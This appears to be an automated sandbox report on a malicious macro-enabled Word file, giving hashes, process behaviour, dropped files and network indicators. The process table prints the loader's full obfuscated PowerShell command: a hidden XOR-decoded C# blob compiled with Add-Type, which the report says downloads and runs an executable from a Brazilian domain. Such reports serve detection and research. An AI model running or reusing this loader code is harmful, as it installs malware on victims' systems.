analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | 52315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0 |
| Full analysis: | https://app.any.run/tasks/0d6b6e3d-8537-45ec-9c52-16b271d0264e |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | November 08, 2019, 13:28:19 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | 8D3B181D65A952CE271F794CE9E6FE19 |
| SHA1: | 2EA2F772A5C211F58B6FA3A1FA0B177209390F29 |
| SHA256: | 52315C6FF63E285531F7A710B8A5CE562CABCA230102CF8EA83DF1CB9E95A8D0 |
| SSDEEP: | 768:nI5m7fa4gMXRvp079ji/5Y3OlJoHwBFba8GT4KHag1zKgCaFU9:8kfTXY3yoHwbba8GNro |
MALICIOUS
Executes PowerShell scripts
- WINWORD.EXE (PID: 2416)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2416)
Starts Visual C# compiler
- powershell.exe (PID: 2928)
Application was dropped or rewritten from another process
- hb2638.exe (PID: 2564)
Downloads executable files from the Internet
- powershell.exe (PID: 2928)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 2928)
Creates files in the user directory
- powershell.exe (PID: 2928)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2416)
Creates files in the user directory
- WINWORD.EXE (PID: 2416)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
|---|---|---|
| .docx | | | Word Microsoft Office Open XML Format document (24.2) |
| .zip | | | Open Packaging Conventions container (18) |
| .zip | | | ZIP compressed archive (4.1) |
EXIF
XMP
| Description: | - |
|---|---|
| Creator: | - |
| Subject: | - |
| Title: | - |
XML
| ModifyDate: | 2019:11:08 11:42:00Z |
|---|---|
| CreateDate: | 2019:11:08 11:42:00Z |
| RevisionNumber: | 1 |
| LastModifiedBy: | - |
| Keywords: | - |
| AppVersion: | 16 |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| CharactersWithSpaces: | - |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| Paragraphs: | - |
| Lines: | 1 |
| DocSecurity: | None |
| Application: | Microsoft Office Word |
| Characters: | - |
| Words: | - |
| Pages: | 1 |
| TotalEditTime: | - |
| Template: | Normal.dotm |
ZIP
| ZipFileName: | [Content_Types].xml |
|---|---|
| ZipUncompressedSize: | 1618 |
| ZipCompressedSize: | 410 |
| ZipCRC: | 0xabd647f7 |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0006 |
| ZipRequiredVersion: | 20 |
Total processes
40
Monitored processes
5
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2416 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\52315c6ff63e285531f7a710b8a5ce562cabca230102cf8ea83df1cb9e95a8d0.docm" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 2928 | powershell -WindowStyle Hidden function t85f75a {param($w4b74b9)$v7a6fb='u2edca7';$u56983='';for ($i=0; $i -lt $w4b74b9.length;$i+=2){$a75ce=[convert]::ToByte($w4b74b9.Substring($i,2),16);$u56983+=[char]($a75ce -bxor $v7a6fb[($i/2)%$v7a6fb.length]);}return $u56983;} $ba612 = '00410c0a0441640c4111010e5a42065b0b0343324e064600094d33421b460c09064f7e1b4600160c11641040130d0004444e47160d0d0617264b1610060c19315b04030d0e44015b06175814441c5c02443018440157084a2a2e0c00410c0a0441640c4111010e4f7910465e69691142175e0c0743025b14411644015454460a071f38255b197b08140c13435d100e01110f52190157464f245901401c340c0859010f4723061567075d0625070545104116464a3c17054707080a0217064604100a0217104a1101110f173c5c11341713170257045200497e1b463510114159160a5750564d4401400c0a0441521606545055480c2e7609082a0c471a40114c410a52075c00085053155912200a17134e255d0c0a17410a5510290b02057b1c5017051118155c6f451416035b1c5145171700431c5145011b1552075c452d0d15670140450701005213565d4c1015451c5c02441753564c564c5f38255b197b08140c13435d100e01110f52190157464f41721b46171d330e5e1b465846350845014704083313580157061041486a554210060f08545541110517085455571d1006135955500a0b0f415d17055d5052041f3c5c11341713170257510654540e59672c0a17314307121d010002545912100d0d15171207040654521b555d101043145e1b4645135a070f40004c5f38255b197b08140c13435d102e01110f521901574a070d5b571e45210d15450c620a0d0d150a576011082e0e41107f00090c134e571e453706157b14411121111358070f03050f12525c6f45171700431c5145011b1552075c45120c085355565d530652534d1a2c0a17314307120053070004111e2c0a1731430712105654540f595b0b104314054d00004d581142175e0c0743124314460c07430859011216010159555d1b1e2d0d15670140450e505755440654445e41541753000207591f010a50025454565d105450560706430201500751024050545d41481e4e5b034c095201170351555e5c7e1b463510114f6d10400a4d180658015d451c0659514001045f1e285901621116430f034407545914045643514d0e50575544065448175902130550054b4304410703555551534602555656570617055555535105450755505754155c1b5e0d054959410350555e5c7e1b463510114f6d10400a4d180658015d451c0659514001045f1e347e1b46351011415a1106575c005c1f207b0b103315455c075e110a0f435541540206020a45090c024b405d17055d5052041f1b065451524d5a1106575c004d070d0655480c14435541540206021e5c49020b170e170d575d025652564e4f271d17046c28120e535656564d06581f531904441e551c05071b454a5c541e5a7e1b463510114154425706055e2c5607410d050f4f76195e0a072b265b1a5004084b521e4e7f0416100956191c260b13181f1e05505302590359024907540454141e564d58050f425756005b49591045452d0d156701404d0a575002441c310b2a0f4343064d4d48514f450254064a4d54425706054f521e4e4a005c05540414084533060374195b000a1741514d565150575c5910454533060374195b000a17491e4e4111160a0f5055545c0505070f4d0f200a1508451a5c08010d1519325711220c0d531040350517091f305c130d110e5918570b104d324710510c050f2758195600164d2047055e0c0702155e1a5c210517001e5e1039380b030543015d4648150f405452510249154050505352050744104c5f0559534106514a270e401b5e0a0507275e19574d105b54514207044c415053410454555255024c0600555b5007405755545251074302015054505641025455530307430357555a50014056555c570007440356555b520f40565505535107160352555a50074153555441481b130b040205590f5c0935160c0252064136100213433c5c030b430053475652015e0f52021235160c0252064136100213433c5c030b4b070e1454035c5b480c25400a070612445b61110511151f1456570054041e4e40001016135955025e19131455195b0644101556015b06441015451c5c0244175902130550054b1243075b0b0343050f475606004a1a4401400c0a044159160a5750565c15000000000000005709161011085912120606020451110a583717135e1b554b210e11430c09030b11495e1b46450d5e510c1c0e015c510554111c29010d06431d090c4f5e531e0e501c10064140105353075e22581b440016174f631a701c100649534d000107074f6400501610110859121a0c4851481b44044c5f0003561054015c485c1f165a04164a494010535307433f171b515d5657546c5d5b4a564a4112555c065c5155025b7e000a04155f281b5e1911044300400b440003561054015c581c4a'; $ba6122 = t85f75a($ba612); Add-Type -TypeDefinition $ba6122; [b5c38b]::seb8b(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2348 | "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\jrz-0tak.cmdline" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | powershell.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.4927 (NetFXspW7.050727-4900) | ||||
| 2576 | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB551.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB550.tmp" | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | — | csc.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.4940 (Win7SP1.050727-5400) | ||||
| 2564 | "C:\Users\admin\AppData\Roaming\hb2638.exe" | C:\Users\admin\AppData\Roaming\hb2638.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM | ||||
Total events
2 499
Read events
1 341
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
2
Text files
2
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2416 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA87F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P6MOKP8GPK8ZWWACTWSN.temp | — | |
MD5:— | SHA256:— | |||
| 2348 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCB550.tmp | — | |
MD5:— | SHA256:— | |||
| 2348 | csc.exe | C:\Users\admin\AppData\Local\Temp\jrz-0tak.pdb | — | |
MD5:— | SHA256:— | |||
| 2576 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESB551.tmp | — | |
MD5:— | SHA256:— | |||
| 2348 | csc.exe | C:\Users\admin\AppData\Local\Temp\jrz-0tak.dll | — | |
MD5:— | SHA256:— | |||
| 2348 | csc.exe | C:\Users\admin\AppData\Local\Temp\jrz-0tak.out | — | |
MD5:— | SHA256:— | |||
| 2928 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF | |||
| 2416 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:8B378DCC62035BBABEF8B1C2A131A338 | SHA256:7C1F83E56B3CF1632E1D1DDD8BFD13219F8133599041726FA2EA3FB98B22B275 | |||
| 2928 | powershell.exe | C:\Users\admin\AppData\Local\Temp\jrz-0tak.cmdline | text | |
MD5:C79B2928ABDCBF6FB0BCC5C11BDAC891 | SHA256:4E85DA56729232209CE42D8D031DD14C69534BDC7F017E7AAD868A136CD303D0 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2928 | powershell.exe | GET | 200 | 177.73.233.243:80 | http://eletelportoes.com.br/Moodov.exe | BR | executable | 966 Kb | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2928 | powershell.exe | 177.73.233.243:80 | eletelportoes.com.br | WDI SOLUCOES EM TEC INFORMACAO LTDA | BR | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
eletelportoes.com.br |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2928 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2928 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\x86fre\base\isolation\com\enumidentityattribute.cpp, line 144
|